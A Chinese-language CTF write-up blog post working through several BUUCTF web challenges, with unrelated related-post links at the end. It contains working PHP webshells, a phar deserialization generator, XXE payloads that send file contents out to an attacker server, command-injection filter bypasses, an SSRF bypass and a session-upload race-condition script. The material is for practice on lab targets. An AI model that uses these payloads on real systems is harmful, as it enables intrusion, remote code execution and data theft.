BUU WEB之旅(1)

[NewStarCTF 公开赛赛道]ezAPI

刚开始无论输入什么都会提示:onlynumber

输入不存在的id会出现报错

扫一下网站目录,www.zip是网站源码备份,被泄露了

看到其通过garphql来查询数据

参考buuctf wp 12 | R4x大佬的博客
当CTF遇上GraphQL的那些事

根据源码,我们得让id set,然后用源码的data进行查询

这里套博客里面说的壳进行处理

复制代码
id=1&data={"query":"query IntrospectionQuery{__schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name description locations args{...InputValue}}}}fragment FullType on __Type{kind name description fields(includeDeprecated:true){name description args{...InputValue}type{...TypeRef}isDeprecated deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name description isDeprecated deprecationReason}possibleTypes{...TypeRef}}fragment InputValue on __InputValue{name description type{...TypeRef}defaultValue}fragment TypeRef on __Type{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name}}}}}}}}", "variables":null}

爆出来数据之后

我们试着进一步查询flag

构造查询语句即可

query { 表名 { 字段名 } }

data={"query":"query{\nffffllllaaagggg_1n_h3r3_flag{\nflag\n}\n}\n", "variables":null}&id=1

总结:源码泄露+找到特定查询语句进行查询即可

[2021DASCTF实战精英夏令营暨DASCTF July X CBCTF 4th]easythinkphp

看题目名字是thinkPHP

找到利用工具

然后蚁剑连接即可

[NewStarCTF 2023 公开赛道]PharOne

看样子是一个反序列化,phar是一个扩展名

参考:phar反序列化 - hiddener - 博客园

NewStarCTF WEEK4|WEB PharOne - DGhh - 博客园

看源码存在一个class.php,是一个反序列化

复制代码
<?php
highlight_file(__FILE__);
class Flag{
    public $cmd;
    public function __destruct()
    {
        @exec($this->cmd);
    }
}
@unlink($_POST['file']);

我们主页的php上传文件猜测只能上传jpg之类的文件,这里就不fuzz测试了

那这里就是利用反序列化生成phar,到时候用伪协议读取即可

参考我发的博客生成一个phar

php 复制代码
<?php
class Flag
{
    public $cmd;
}

$a = new Flag();
$a->cmd = "echo \"<?=@eval(\\\$_POST['a']);\">/var/www/html/1.php";
$phar = new Phar("a.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("b.txt", "666");
$phar->stopBuffering();

然后文件上传

直接上传会提示hacker,改后缀为jpg,也会检测到文件头所以不让我们上传

只要这样写:

复制代码
file=phar://shell.jpg

PHP 内部会自动:

  1. 看到是 phar:// 协议
  2. 检查文件是不是 Phar 格式
  3. 如果发现是 gzip 压缩过的 Phar
  4. 自动解压

因此这里我们用gzip压缩一下然后改后缀

这时候去class.php用伪协议包含:

现在1.php已经存在了一句话木马 ,链接即可

[NewStarCTF 公开赛赛道]Unsafe Apache

进去只提示It works!

漏洞扫描工具扫到一个CVE漏洞

用这个洞打就可以了

asaotomo/CVE-2021-42013-Apache-RCE-Poc-Exp:

用这个扫到漏洞利用点:

[SUCTF 2018]Homework

进去之后给了一个PHP:

php 复制代码
<?php 
class calc{
	function __construct__(){
		calc();
	}

	function calc($args1,$method,$args2){
		$args1=intval($args1);
		$args2=intval($args2);
		switch ($method) {
			case 'a':
				$method="+";
				break;

			case 'b':
				$method="-";
				break;

			case 'c':
				$method="*";
				break;

			case 'd':
				$method="/";
				break;
			
			default:
				die("invalid input");
		}
		$Expression=$args1.$method.$args2;
		eval("\$r=$Expression;");
		die("Calculation results:".$r);
	}
}
?>		

看起来是一个计算器一样的东西

在这里上传作业,后缀似乎没有要求,但是上传后的路径我们不得而知

参考2018 SUCTF Homework xxe外带数据~~ xxe进行ssrf_[suctf 2018]homework-CSDN博客

SUCTF 2018 Web Writeup - SecPulse.COM | 安全脉搏

https://www.anquanke.com/post/id/146419#h3-4

这里存在一个module是cacl,也就是说moudle是可以调用的类

这里参考:https://www.anquanke.com/post/id/238482

人家大佬就能想到调用PHP原生类

我看wp都默认找到了xxe注入

看WP说是SimpleXMLElement这个能实现OOB带外查询

根据url结合calc源码可得到,module为调用的类,args为类的构造方法的参数。在PHP中存在内置类。其中包括SimpleXMLElement,文档中对于SimpleXMLElement::__construct定义如下:

可以看到通过设置第三个参数为true,可实现远程xml文件载入。第二个参数的常量值我们设置为2即可。

首先这是我们构造的恶意xml文件,引用外部实体:

复制代码
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://ip/e.xml">
%remote;
]></root>

这是exp.xml内容:

XML 复制代码
!ENTITY % file  SYSTEM "php://filter/read=convert.base64-encode/resource=file:///home/wwwroot/default/index.php">
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://vps/XXE/1.php?file=%file;'>">

这个exp.xml需要放在我们的服务器上面

启动一个网站:php -S 8080

因为前端注释提示了目录在default,所以我们路径就要写default

然后调用原生类:

连了半天连不上去,原来是BUU靶机不出网了

md,知道思路得了

[NewStarCTF 2023 公开赛道]泄漏的秘密

网站备份文件泄露,一个是robots.txt一个是Index.php

[网鼎杯 2020 玄武组]SSRFMe

网站源码:

php 复制代码
<?php
function check_inner_ip($url)
{
    $match_result=preg_match('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/',$url);
    if (!$match_result)
    {
        die('url fomat error');
    }
    try
    {
        $url_parse=parse_url($url);
    }
    catch(Exception $e)
    {
        die('url fomat error');
        return false;
    }
    $hostname=$url_parse['host'];
    $ip=gethostbyname($hostname);
    $int_ip=ip2long($ip);
    return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;
}

function safe_request_url($url)
{

    if (check_inner_ip($url))
    {
        echo $url.' is inner ip';
    }
    else
    {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        $output = curl_exec($ch);
        $result_info = curl_getinfo($ch);
        if ($result_info['redirect_url'])
        {
            safe_request_url($result_info['redirect_url']);
        }
        curl_close($ch);
        var_dump($output);
    }

}
if(isset($_GET['url'])){
    $url = $_GET['url'];
    if(!empty($url)){
        safe_request_url($url);
    }
}
else{
    highlight_file(__FILE__);
}
// Please visit hint.php locally.
?>

这里过滤了URL必须不是内网。而且得是http/gopher/dict这四个协议

这里检验是不是内网是进行前缀判断的。

payload:`/?url=http://0.0.0.0/hint.php\`

用0.0.0.0进行绕过

然后是下一关:

php 复制代码
大学搜题酱App
帮助
string(1342) " <?php
if($_SERVER['REMOTE_ADDR']==="127.0.0.1"){
  highlight_file(__FILE__);
}
if(isset($_POST['file'])){
  file_put_contents($_POST['file'],"<?php echo 'redispass is root';exit();".$_POST['file']);
}
"

这里就是一个死亡代码,但是不能这样绕过了,会被过滤掉

绕过思路可以见:伪协议绕过死亡代码<?php exit();(file_put_contents) - hithub - 博客园

代码给了redis的密码

这里需要用到redis主从复制

参考:很经典的一道CTF-WriteUP[网鼎杯 2020 玄武组]SSRFMe - FreeBuf网络安全行业门户

redis主从复制 - kar3a - 博客园

这里要有外网服务器来反弹shell,暂时作罢

这也不出网了,知道做法得了

[NewStarCTF 公开赛赛道]So Baby RCE

php 复制代码
<?php
error_reporting(0);
if(isset($_GET["cmd"])){
    if(preg_match('/et|echo|cat|tac|base|sh|more|less|tail|vi|head|nl|env|fl|\||;|\^|\'|\]|"|<|>|`|\/| |\\\\|\*/i',$_GET["cmd"])){
       echo "Don't Hack Me";
    }else{
        system($_GET["cmd"]);
    }
}else{
    show_source(__FILE__);

有一些比较复杂的过滤。我们目的是cat flag,但是很显然cat命令被过滤了

这时候我们需要去根目录看看flag名称是什么先

了解下linux的一个命令特性:&&连接符是先执行前面的然后执行后面的。那也就是说我们先多级cd,然后ls即可(LINUX的..就是上一级目录)

这里最好是URL编码一次

可以看到出了结果:

此时的payload:cdIFS..\&\&cdIFS..&&cdIFS..\&\&cdIFS..&&ls

然后我们想办法拿到flag的内容

$@可以被当作空字符

payload2:cd{IFS}..\&\&cd{IFS}..&&cd{IFS}..\&\&cd{IFS}..&&ta@c{IFS}ffff$@llllaaaaggggg

$@ 是一个特殊参数,表示:

复制代码
所有传入脚本或当前 shell 函数的位置参数

这里$@就是空了,所以可以作为占位使用后绕过正则表达式

[NewStarCTF 公开赛赛道]So Baby RCE Again

没有看到回显,输入一个文件访问能访问到,说明可以执行命令

echo写一个一句话木马即可

echo '111<?php @eval($_POST["cmd"]); ?>11' > 1.php

但是我们读取文件的时候提示没有权限

估计要提权了这下,无语了

这是suid提权

在这网站查询,date是可以利用来读取文件的

https://gtfobins.github.io/

读取即可

[NPUCTF2020]ezinclude

注释有一句:

<!--md5(secret.name)===$pass -->

测试出参数是name 和 pass:

跳转到了:flflflflag.php

不在抓包工具看会进行一个跳转

可以参考php7 segment fault特性(CVE-2018-14884) - Eddie_Murphy - 博客园

这是文件上传getshell的两个思路,这里就用session文件包含这个更通用的

先构造恶意数据包:

随后我们可以看到sess_wlmt666

这里是包含了目录扫描扫到的dir.php

dir.php源码可以用伪协议读取,这里就不演示了,就是输出/tmp目录下的文件

然后包含这个文件。这里要条件竞争的包含,后续我没有尝试但是思路是这样的

这是人家给的脚本:

python 复制代码
import io
import sys
import requests
import threading
 
host = 'http://c040513c-2b10-4f00-a0ee-3136bdb03056.node5.buuoj.cn:81//flflflflag.php'
sessid = 'feng'
 
def POST(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        session.post(
            host,
            data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php phpinfo();fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>"},
            files={"file":('a.txt', f)},
            cookies={'PHPSESSID':sessid}
        )
 
def READ(session):
    while True:
        response = session.get(f'{host}?file=/tmp/sess_{sessid}')
        if 'flag{' not in response.text:
            print('[+++]retry')
        else:
            print(response.text)
            sys.exit(0)
 
with requests.session() as session:
    t1 = threading.Thread(target=POST, args=(session, ))
    t1.daemon = True
    t1.start()
    READ(session)

还有另一种做法:

python 复制代码
import requests
from io import BytesIO #BytesIO实现了在内存中读写bytes
payload = "<?php eval($_POST[cmd]);?>"
data={'file': BytesIO(payload.encode())}
url="http://c040513c-2b10-4f00-a0ee-3136bdb03056.node5.buuoj.cn:81/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
r=requests.post(url=url,files=data,allow_redirects=False)

用这个实现一个CVE-2018-14884利用

[HCTF 2018]Hideandseek

先让登录,输入admin是提示密码不对,输入其他的就能进去

然后是一个文件上传,需要上传一个zip文件

相关推荐
2301_809204704 小时前
如何用 Babel 将最新的 JS 特性转译为旧版浏览器兼容代码
jvm·数据库·python
牢七4 小时前
链条合集整理
java·开发语言
夏恪4 小时前
golang如何实现滚动更新方案_golang滚动更新方案实现实战
jvm·数据库·python
2301_818008444 小时前
CSS如何让响应式图片在容器内居中_利用background-position
jvm·数据库·python
weixin_444012935 小时前
mysql如何升级版本至最新_mysql大版本平滑升级策略
jvm·数据库·python
小雅痞5 小时前
[Java][Leetcode hard] 30. 串联所有单词的子串
java·leetcode
kexnjdcncnxjs5 小时前
mysql如何优化小表的查询索引_mysql全表扫描与索引代价对比
jvm·数据库·python
钝挫力PROGRAMER5 小时前
static final 指向可变集合的设计模式
java·设计模式
青山师5 小时前
Java反射深度解析:运行时探查的艺术、代价与工程实践
java·开发语言·面试·反射·java程序员·java核心